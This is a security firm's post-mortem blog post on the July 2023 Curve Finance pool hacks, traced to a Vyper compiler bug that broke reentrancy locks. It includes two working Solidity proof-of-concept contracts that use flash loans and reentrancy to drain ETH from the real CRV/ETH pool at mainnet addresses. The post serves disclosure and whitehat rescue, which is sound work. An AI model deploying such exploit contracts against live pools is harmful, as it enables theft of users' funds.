Curve Finance Analysis and Post-mortem

ChainLight
ChainLight Blog & Research
15 min readAug 8, 2023

On July 30, 2023 at 13:10 UTC, the hack of the pETH/ETH Curve pool was the first indicator of a major flaw in the Curve Finance contracts. The next couple of hours would see two more Curve pools exploited: msETH/ETH and alETH/ETH. During this time, blockchain security experts from around the world were hard at work to identify the root cause, determine which Curve pools and projects are affected, and decide on the right steps to prevent further loss of funds.

Vyper 0.2.15: the root cause

When the first Curve pool was hacked, it was believed to be caused by a bug in the @JPEGd_69 smart contracts. The reason is simple: Curve Finance’s smart contracts have been audited by some of the best experts in the world and the Curve pools have more than $1B of value stored in them. Also, the hack was caused by a reentrancy bug and the Curve Finance smart contracts use locks to prevent reentrancy, so it would be impossible that it is a vulnerability in the Curve Finance smart contracts.

However, after two more Curve pools were exploited, it was very clear to everyone that this was definitely an issue with the Curve Finance smart contracts. A careful analysis of the hacks and the bytecode of the Curve Finance smart contracts revealed that the Vyper compiler had a bug that resulted in the reentrancy locks being ineffective.

Smart contracts in Ethereum are generally written in Solidity, but some smart contracts use a different programming language, such as Vyper. The goal of Vyper is to make it easier to write smart contracts that are more secure and easier to audit. It includes security features like: array bounds checks, integer overflow checks, and native support for reentrancy locks. By including reentrancy locks in the language, it makes it easier for developers to prevent reentrancy attacks that have resulted in many smart contract hacks.

In Vyper 0.3.1, there was an innocent looking bugfix that in retrospect should have set off alarm bells.

With the simple description of Fix allocation of unused storage slots, a severe vulnerability in the Vyper compiler was fixed. It would not be until July 30, 2023, more than a year and a half after the release of Vyper 0.3.1, that the true severity of the bug was realized.

The bug was first introduced in Vyper 0.2.15 in commit a09cdddd.

The code added in this commit inadvertently assigns each reentrancy key a different storage slot for each function definition. The result is that the reentrancy key lock may be assigned storage slot 0x1 in add_liquidity and then assigned storage slot 0x2 in remove_liquidity, since each function definition is handled separately. The correct behavior would assign only one storage slot per reentrancy key, no matter how many function definitions use that reentrancy key.

We can see this in action with a simple test case below.

# @version 0.2.15
@external
@nonreentrant('lock')
def add_liquidity() -> uint256:
return 0

@external
@nonreentrant('lock')
def exchange() -> uint256:
return 0

When the benign looking code is processed with the buggy Vyper compiler, we clearly see that it produces the wrong Vyper IR.

$ vyper -f ir StableSwap.vy | grep sstore
# @nonreentrant('lock')
[sstore, 0, 1],
[seq_unchecked, [sstore, 0, 0], [return, 0, 32]],
[sstore, 0, 0],
# @nonreentrant('lock') <- it should use slot 0, but it uses 1 instead
[sstore, 1, 1],
[seq_unchecked, [sstore, 1, 0], [return, 0, 32]],
[sstore, 1, 0],

The bugfix introduced in Vyper 0.3.1 in commit eae0eaf8 implements the correct behavior by not assigning a new storage slot to a reentrancy key if one was already assigned.

        if type_.nonreentrant is None:
continue

variable_name = f"nonreentrant.{type_.nonreentrant}"

# a nonreentrant key can appear many times in a module but it
# only takes one slot. ignore it after the first time we see it.
if variable_name in ret: # <<<<
continue # <<<<

type_.set_reentrancy_key_position(StorageSlot(storage_slot))

# TODO this could have better typing but leave it untyped until
# we nail down the format better
ret[variable_name] = {
"type": "nonreentrant lock",
"location": "storage",
"slot": storage_slot,
}

# TODO use one byte - or bit - per reentrancy key
# requires either an extra SLOAD or caching the value of the
# location in memory at entrance
storage_slot += 1

Unfortunately, any Vyper smart contracts that were compiled using the latest compiler in the three month period of July 2021 — October 2021, have a potentially fatal flaw.

Vulnerable Curve pools

Once it was determined that a compiler bug was the cause of the vulnerabilities in the Curve smart contracts, the next step was to find the Curve pools that were affected and could be exploited by an attacker. There are two important properties a vulnerable Curve pool needed:

  1. Compiled with Vyper 0.2.15–0.3.0
  2. Reentrancy through a call to an untrusted smart contract

As an example, the first Curve pool that was attacked, pETH/ETH, had both of these properties:

# @version 0.2.15        # <<<<
"""
@title StableSwap
@author Curve.Fi
@license Copyright (c) Curve.Fi, 2020-2021 - all rights reserved
@notice 2 coin pool implementation with no lending
@dev ERC20 support for return True/revert, return True/False, return None
Uses native Ether as coins[0]
"""

and

@external
@nonreentrant('lock')
def remove_liquidity(
_burn_amount: uint256,
_min_amounts: uint256[N_COINS],
_receiver: address = msg.sender
) -> uint256[N_COINS]:
...

for i in range(N_COINS):
old_balance: uint256 = self.balances[i]
value: uint256 = old_balance * _burn_amount / total_supply
assert value >= _min_amounts[i], "Withdrawal resulted in fewer coins than expected"
self.balances[i] = old_balance - value
amounts[i] = value

if i == 0:
raw_call(_receiver, b"", value=value) # <<<<
else:
...

In general, Curve pools with support for native Ether are possible candidates for reentrancy. Attackers had already attacked three pools: pETH/ETH, msETH/ETH, and alETH/ETH. We set out to determine if any other pools were also vulnerable to an attack.

In about 30 minutes of looking through the various Curve pools, a ChainLight researcher identified the CRV/ETH pool as potentially vulnerable. Once this was confirmed, the ChainLight team worked to build an exploit that could be used as part of a whitehat operation.

CRV/ETH pool

The logic of the CRV/ETH pool differs slightly from other pools that have been exploited, primarily because the CRV/ETH pool burns supply tokens prior to executing the raw_call. As a result, the same strategy for exploiting the pool isn’t applicable in this case.

To demonstrate the difference, here is the code for pETH/ETH pool. We can see that the raw_call happens before the total_supply is decreased.

@external
@nonreentrant('lock')
def remove_liquidity(
_burn_amount: uint256,
_min_amounts: uint256[N_COINS],
_receiver: address = msg.sender
) -> uint256[N_COINS]:

total_supply: uint256 = self.totalSupply
amounts: uint256[N_COINS] = empty(uint256[N_COINS])

for i in range(N_COINS):
old_balance: uint256 = self.balances[i]
value: uint256 = old_balance * _burn_amount / total_supply
assert value >= _min_amounts[i], "Withdrawal resulted in fewer coins than expected"
self.balances[i] = old_balance - value
amounts[i] = value

if i == 0:
raw_call(_receiver, b"", value=value) # <<<<
else:
response: Bytes[32] = raw_call(
self.coins[1],
concat(
method_id("transfer(address,uint256)"),
convert(_receiver, bytes32),
convert(value, bytes32),
),
max_outsize=32,
)
if len(response) > 0:
assert convert(response, bool)

total_supply -= _burn_amount # <<<<
self.balanceOf[msg.sender] -= _burn_amount
self.totalSupply = total_supply
log Transfer(msg.sender, ZERO_ADDRESS, _burn_amount)

log RemoveLiquidity(msg.sender, amounts, empty(uint256[N_COINS]), total_supply)

return amounts

With this structure, the reentrancy call trace could look like this for an attack:

  1. add_liquidity (X tokens) → mints Y LP tokens
  2. remove_liquidity (Y LP tokens)
    a. (self.balances is reduced)
    b. add_liquidity (X tokens) → mints N * Y tokens
    c. (totalSupply is reduced)

As demonstrated above, the reentrancy allows for add_liquidity to be called after self.balances is reduced but before totalSupply is reduced. Since the price of each LP token is determined by totalSupply, during the reentrant add_liquidity call the price of each LP token will be incorrect. This allows an attacker to mint many more LP tokens per input token.

In the CRV/ETH pool, the code looks like below, where raw_call happens after the total supply is decreased by calling the burnFrom function.

@nonreentrant('lock')
def remove_liquidity(_amount: uint256, min_amounts: uint256[N_COINS], use_eth: bool = False):
total_supply: uint256 = CurveToken(token).totalSupply()
CurveToken(token).burnFrom(msg.sender, _amount) # <<<<
balances: uint256[N_COINS] = self.balances
amount: uint256 = _amount - 1

for i in range(N_COINS):
d_balance: uint256 = balances[i] * amount / total_supply
self.balances[i] = balances[i] - d_balance # <<<< uses the cached CRV balance.
if use_eth and i == ETH_INDEX:
raw_call(msg.sender, b"", value=d_balance)

D: uint256 = self.D
self.D = D - D * amount / total_supply

A possible attack scenario here is to do the following:

  1. add_liquidity (X tokens) → mints Y LP tokens
    This adds liquidity to the CRV/ETH pool with a large amount of tokens.
  2. remove_liquidity (1 wei)
    This removes liquidity with 1 wei of ETH and triggers the reentrancy primitive.
    a. remove_liquidity_one_coin (Y — 1, 1, 0, false)
    This removes all of our liquidity as CRV tokens.
    b. Since remove_liquidity uses the cached value (balances), the pool would have a smaller D value while the balance stays the same.
  3. exchange()
    Lower D with a higher balance always allows a profitable arbitrage trade with any side. (ETH→CRV / CRV→ETH)

We shared the PoC exploit to the war room, but an attacker drained the pool before we actually launched the whitehat operation.

PoC Code

// SPDX-License-Identifier: UNLICENSED
// anvil --fork-url $ETH_RPC_URL --port 1337 --fork-block-number 17807829
// forge test -vvv
pragma solidity ^0.8.0;

import "forge-std/Test.sol";

interface ERC20 {
function balanceOf(address) external returns (uint256);
function transfer(address, uint256) external;
function transferFrom(address, address, uint256) external;
function approve(address, uint256) external;
function totalSupply() external returns(uint256);
}

interface Pool {
function exchange(uint i, uint j, uint dx, uint256, bool) external;
function add_liquidity(uint[2] memory, uint, bool) external;
function remove_liquidity(uint, uint[2] memory, bool) external;
function balances(uint) external returns(uint);
function remove_liquidity_one_coin(uint256, uint256, uint256, bool) external;
}

contract PocTest is Test {

ERC20 WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
ERC20 CRV = ERC20(0xD533a949740bb3306d119CC777fa900bA034cd52);
ERC20 poolToken = ERC20(0xEd4064f376cB8d68F770FB1Ff088a3d0F3FF5c4d);
Pool pool = Pool(0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511);

WhiteHatDeploy wd;

function setUp() public
{
}

function testPoC() public
{
wd = new WhiteHatDeploy();
}
}

interface AAVEV2 {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;

function borrow(address, uint, uint, uint16, address) external;
function deposit(address, uint, address, uint16) external;
}

interface u2pool {
function swap(
uint, uint, address, bytes calldata
) external;
}

contract WhiteHatDeploy {
constructor() {
Whitehat wh = new Whitehat();
wh.start();
}
}

contract Whitehat {
ERC20 WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
ERC20 CRV = ERC20(0xD533a949740bb3306d119CC777fa900bA034cd52);
ERC20 poolToken = ERC20(0xEd4064f376cB8d68F770FB1Ff088a3d0F3FF5c4d);
Pool pool = Pool(0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511);

constructor() {
CRV.approve(address(pool), type(uint256).max);
WETH.approve(address(pool), type(uint256).max);
}

function exploit() internal {
uint[2] memory amounts = [
uint(10000 ether),
uint(10000 ether)
];

pool.add_liquidity(amounts, 0, false);

amounts = [
uint(0),
uint(0)
];
pool.remove_liquidity(1, amounts, true);
pool.exchange(1, 0, CRV.balanceOf(address(this)), 0, false);
}

fallback() payable external {
pool.remove_liquidity_one_coin(poolToken.balanceOf(address(this)), 1, 0, false);
}

function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external {
exploit();
WETH.transfer(msg.sender, 30 ether);
}

function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
)
external
returns (bool)
{
u2pool(0x3dA1313aE46132A397D90d95B1424A9A7e3e0fCE).swap(
0,
50000 * 1e18,
address(this),
hex"01"
);

for (uint i = 0; i < assets.length; i++) {
uint amountOwing = amounts[i] + premiums[i];
ERC20(assets[i]).approve(address(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9), amountOwing);
}
return true;
}


function start() payable external {
address receiverAddress = address(this);

address[] memory assets = new address[](1);
assets[0] = address(WETH);

uint256[] memory amounts = new uint256[](1);
amounts[0] = 10_000 ether;

// 0 = no debt, 1 = stable, 2 = variable
uint256[] memory modes = new uint256[](1);
modes[0] = 0;

address onBehalfOf = address(this);
bytes memory params = "";
uint16 referralCode = 0;

AAVEV2(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9).flashLoan(
receiverAddress,
assets,
amounts,
modes,
onBehalfOf,
params,
referralCode
);
console.log("Profit (ETH):", WETH.balanceOf(address(this)) / 1e18);
}
}

CRV/ETH pool, again

After the attacker partially drained the CRV/ETH pool, the war room discussed strategies to rescue the remaining funds from the pool before another attack. The challenge was that the pool no longer had any remaining CRV but still had 3,526 ETH. This made it impossible to use the prior strategies to recover the remaining ETH, as it triggered an assert in the pool’s math functions:

def newton_D(ANN: uint256, gamma: uint256, x_unsorted: uint256[N_COINS]) -> uint256:
...
assert x[0] > 10**9 - 1 and x[0] < 10**15 * 10**18 + 1 # dev: unsafe values x[0]
assert x[1] * 10**18 / x[0] > 10**14-1 # dev: unsafe values x[i] (input)

The assert in newton_D is checking that the ratio of CRV price to the ratio of ETH price is at least 0.00001. It is impossible to add liquidity or swap tokens unless we can first bring the ratio to within a valid range.

The strategy that was determined in the war room was to:

  1. Send 30k CRV tokens to the CRV/ETH pool and call claim_admin_fee
    a. The claim logic will include the newly sent tokens in the balances
    b. This increases the CRV/ETH ratio to 8.5 CRV per ETH (instead of the previously invalid ratio of 0.00000031 CRV per ETH)
  2. Use exchange to swap additional CRV tokens for the remaining ETH

PoC Code

// SPDX-License-Identifier: UNLICENSED
// anvil --fork-url $ETH_RPC_URL --port 1337 --fork-block-number 17808682
// forge test -vvv
pragma solidity ^0.8.0;

import "forge-std/Test.sol";

interface ERC20 {
function balanceOf(address) external returns (uint256);
function transfer(address, uint256) external;
function transferFrom(address, address, uint256) external;
function approve(address, uint256) external;
function totalSupply() external returns(uint256);
}

interface Pool {
function exchange(uint i, uint j, uint dx, uint256, bool) external;
function add_liquidity(uint[2] memory, uint, bool) external;
function remove_liquidity(uint, uint[2] memory, bool) external;
function balances(uint) external returns(uint);
function remove_liquidity_one_coin(uint256, uint256, uint256, bool) external;
function claim_admin_fees() external;
function D() external view returns (uint256);
function future_A_gamma() external view returns(uint256);
function xpp() external view returns (uint256[2] memory);
function balances() external view returns (uint256[2] memory);
function price_scale() external view returns (uint256);
}

contract PocTest is Test {

ERC20 WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
ERC20 CRV = ERC20(0xD533a949740bb3306d119CC777fa900bA034cd52);
ERC20 poolToken = ERC20(0xEd4064f376cB8d68F770FB1Ff088a3d0F3FF5c4d);
Pool pool = Pool(0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511);

WhiteHatDeploy wd;

function setUp() public
{
vm.label(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, "WETH");
vm.label(0xD533a949740bb3306d119CC777fa900bA034cd52, "CRV");
}

function testPoC() public
{
console.log(WETH.balanceOf(0xB49bf876BE26435b6fae1Ef42C3c82c5867Fa149) / 1e18);
wd = new WhiteHatDeploy();
console.log(WETH.balanceOf(0xB49bf876BE26435b6fae1Ef42C3c82c5867Fa149) / 1e18);
}
}

interface AAVEV2 {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;

function borrow(address, uint, uint, uint16, address) external;
function deposit(address, uint, address, uint16) external;
}

interface v3pool {
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external;
}

contract WhiteHatDeploy {
constructor() {
Whitehat wh = new Whitehat();
wh.go(2800);
}
}

contract Whitehat {
ERC20 WETH = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
ERC20 CRV = ERC20(0xD533a949740bb3306d119CC777fa900bA034cd52);
ERC20 poolToken = ERC20(0xEd4064f376cB8d68F770FB1Ff088a3d0F3FF5c4d);
Pool pool = Pool(0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511);

function uniswapV3SwapCallback(int amount0, int amount1, bytes calldata data) external {
WETH.transfer(msg.sender, uint(amount0));
}

function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
)
external
returns (bool)
{
v3pool(0x919Fa96e88d67499339577Fa202345436bcDaf79).swap(
address(this),
true,
70 ether,
4295128739 + 1,
hex"00"
);

CRV.transfer(address(pool), 30_000 * 1e18);
pool.claim_admin_fees();

pool.exchange(1, 0, CRV.balanceOf(address(this)), 0, false);

for (uint i = 0; i < assets.length; i++) {
uint amountOwing = amounts[i] + premiums[i];
ERC20(assets[i]).approve(address(msg.sender), amountOwing);
}

return true;
}
address owner;

constructor() {
owner = msg.sender;
CRV.approve(address(pool), type(uint256).max);
WETH.approve(address(pool), type(uint256).max);
}

bool k;
function go(uint minReturn) payable external {
require(msg.sender == owner, "X01");
address receiverAddress = address(this);

address[] memory assets = new address[](1);
assets[0] = address(WETH);

uint256[] memory amounts = new uint256[](1);
amounts[0] = 70 ether;

// 0 = no debt, 1 = stable, 2 = variable
uint256[] memory modes = new uint256[](1);
modes[0] = 0;

address onBehalfOf = address(this);
bytes memory params = "";
uint16 referralCode = 0;

AAVEV2(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9).flashLoan(
receiverAddress,
assets,
amounts,
modes,
onBehalfOf,
params,
referralCode
);
require(WETH.balanceOf(address(this)) / 1e18 > minReturn, "X02");

WETH.transfer(0xB49bf876BE26435b6fae1Ef42C3c82c5867Fa149, WETH.balanceOf(address(this)));
}
}

When locally tested, we confirmed that our exploit successfully obtained around 2,880 ETH from the pool. As we obviously did not want this exploit to be abused by an attacker or an MEV, we decided to use Flashbots to bundle the transaction. However, the execution did not go as planned.

Looking back, we can see that the original transaction was front-run by c0ffeebabe.eth in the MEV transaction. As our researcher thought they were using the flashbots RPC node, they were very confused as to how this happened. Thankfully, c0ffeebabe.eth returned the funds to Curve Finance, so in the end the funds remained safe. But the question remained, how did this happen?

After an in-depth investigation, the team found the root cause. We utilized Foundry for testing and deployment, and here’s the sequence of events that happened during the whitehat hack attempt:

  • We initially configured the ETH_RPC_URL environment variable using the default ETH RPC URL to be our QuickNode endpoint for forking and testing.
  • Once forge init is done, one can also specify the desired RPC endpoint within the foundry.toml file.
  • When running the forge test command, the ETH_RPC_URL in foundry.toml is used.
    - Because we forked using anvil, we accordingly set ETH_RPC_URL in the file to http://localhost:1337.
    - anvil --fork-url https://[REDACTED].quiknode.pro/[REDACTED]/ --port 1337
  • After testing the whitehat exploit, in order to use Flashbots for deployment, we updated ETH_RPC_URL within foundry.toml to https://rpc.flashbots.net.
  • However, we failed to realize the forge create command prioritizes the environment variable over the setting in foundry.toml.
  • Consequently, the contract creation transaction ended up going through the public QuickNode RPC, rather than the intended Flashbots.

While it was a minor mistake, it could have resulted in a significant loss of assets. At this point, the researcher had already lost the first race to an attacker, and felt that time was of the essence. With the combination of a time crunch and high stakes situation, a simple mistake was made that could have been avoided.

In order to minimize this type of mistakes going forward, @emilianobonassi created a simple template called Whitehacks Kit to perform whitehat hacks more safely.

Conclusion

The main takeaway is that blockchain security is complicated. While most smart contract audits will review the source code, rarely do they ensure that the compiled bytecode matches the intentions of the source code. Also, the fact that a critical vulnerability existed for so long in a major DeFi project without anyone noticing is a problem that blockchain security firms will need to wrestle with.

For ChainLight, we saw a simple mistake by one of our researchers put thousands of Ether at risk. We also saw that time is a scarce resource during these operations. We are determined to learn from this and put into place procedures for conducting a whitehat operation. By testing these procedures before the need arises, we will be able to respond more quickly and more professionally. Whitehat operations are going to continue to be needed whenever contracts cannot be paused and cannot be upgraded.

Timeline

This is the timeline that the ChainLight team has compiled based on our internal discussions and records.

2023/07/30 13:10 UTC

  • pETH/ETH pool Exploited (TX)

2023/07/30 14:16 UTC

  • We noticed JPEGd_69 was attacked, but initially assumed it was due to a read-only reentrancy bug specific to the pETH pool.

2023/07/30 14:50 UTC

  • msETH/ETH pool Exploited (TX)

2023/07/30 15:18 UTC

  • We noticed some tweets claiming that the on-going attacks are reentrancy attacks, but the code seemed to have nonreentrant decorators. (Tweet 1 / Tweet 2)
  • We set a theory on a possible compiler bug, and started to investigate.

2023/07/30 15:34 UTC

  • alETH/ETH pool Exploited (TX)

2023/07/30 15:41 UTC

  • We noticed that the deployed bytecode actually had different storage slots for the same nonreentrant key.
  • We have determined that it is a compiler bug.

2023/07/30 15:57 UTC

  • We examined various versions of the Vyper compiler, and determined that 0.2.15 ~ 0.3.0 are affected.
  • We started to investigate other potentially vulnerable contracts.

2023/07/30 16:23 UTC

  • We noticed that the CRV/ETH pool may be affected.
  • We started to find ways to contact the right people after realizing a very large amount of funds are at risk.

2023/07/30 16:47 UTC

  • We confirmed that the CRV/ETH pool is vulnerable, and started to build an exploit mechanism for the whitehat operation.

2023/07/30 17:10 UTC

  • We reached out to relevant people at Vyper and Curve, and were told that they know about the issue as well.

2023/07/30 17:53 UTC

  • We finished writing the PoC (Proof-of-Concept) for a working exploit, successfully draining the pool with flashloan. (Forked and tested locally)

2023/07/30 18:44 UTC

  • We contacted @samczsun, and we were invited to the war room.

2023/07/30 19:06 UTC

  • We shared our PoC code that will drain ~3500 ETH (~4800 ETH with minor optimization).

2023/07/30 19:08 UTC

  • An attacker exploits the CRV/ETH pool before we launched the whitehat hack. (TX) (To be clear, the attacker was using a different tactic than ours for the hack.)

2023/07/30 21:26 UTC

  • Addison from Thunderhead proposed a strategy to recover the remaining funds in the CRV/ETH pool.

2023/07/30 21:58 UTC

  • We finished writing the PoC for a working exploit, successfully draining the pool for ~2880 ETH. (Forked and tested locally)

2023/07/30 22:00 UTC

  • CRV/ETH pool got exploited again, and got front-ran by c0ffeebabe.eth. (TX)
  • At the time, we thought we were beaten by another attacker again.
  • In fact, the rescue contract deployment unfortunately and unknowingly was not shipped privately as planned. (See CRV/ETH pool, again section)

2023/07/30 23:50 UTC

  • c0ffeebabe.eth returned the funds to Curve Finance. (TX)

2023/08/01

  • We continuously verify that no other contracts remain vulnerable, while also researching ways to trigger/exploit the vulnerability in a way that can be abused.

2023/08/02 02:13 UTC

  • We realized it was actually our whitehat attempt that was front-ran (See CRV/ETH pool, again section).
  • We investigated what exactly happened, and provided explanations to the involved party.

2023/08/08 04:00 UTC

  • This post is published.

References

--

--

ChainLight Blog & Research
ChainLight Blog & Research

Published in ChainLight Blog & Research

Established in 2016, ChainLight’s award-winning experts provide tailored security solutions to fortify your smart contracts and help you thrive on the blockchain.

ChainLight
ChainLight

Written by ChainLight

Established in 2016, ChainLight's award-winning experts provide tailored security solutions to fortify your smart contract and help you thrive on the blockchain

No responses yet